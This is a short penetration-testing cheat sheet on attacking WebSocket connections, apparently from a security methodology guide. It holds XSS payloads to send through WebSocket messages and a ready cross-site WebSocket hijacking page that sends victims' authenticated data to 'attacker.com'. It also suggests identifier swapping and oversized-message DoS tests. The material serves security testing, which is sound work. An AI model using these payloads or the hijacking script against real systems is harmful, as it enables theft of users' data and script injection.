WebSockets
Exploit WebSocket connections for XSS and CSRF-like attacks.
Methodology
- 1Identify WebSocket connections in the application
- 2Analyze messages sent/received
- 3Test for XSS via WebSocket messages
- 4Test for cross-site WebSocket hijacking
Detailed Steps
In Browser DevTools:
- Network tab → Filter by WS
- Look for
ws://orwss://connections
In Burp Suite:
- Proxy → WebSocket history tab
- Shows all WebSocket messages
Common WebSocket URLs:
shell
ws://target.com/ws
ws://target.com/socket
ws://target.com/chat
wss://target.com/api/realtimeIf WebSocket messages are rendered in the DOM unsafely:
json
{"message": "<img src=x onerror=alert(1)>"}Test payloads in WebSocket messages:
shell
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Using browser console:
javascript
// Connect to WebSocket
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
ws.send(JSON.stringify({message: "<img src=x onerror=alert(1)>"}));
};If WebSocket handshake relies only on cookies (no CSRF token):
html
<script>
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
ws.send('READY');
};
ws.onmessage = function(event) {
// Exfiltrate received data
fetch('http://attacker.com/log?data=' +
encodeURIComponent(event.data));
};
</script>This works because:
- Browser sends target's cookies with WebSocket handshake
- Server authenticates based on cookies
- Attacker's page receives authenticated data
In Burp Suite:
- Intercept WebSocket messages
- Modify message content before forwarding
- Replay messages with different values
Common tests:
- Change message content (XSS payloads)
- Change user identifiers to access other users' data
- Send messages out of expected sequence
- Send extremely large messages (DoS)
- Manipulate JSON structure
Tools
Burp SuiteBrowser DevToolswscat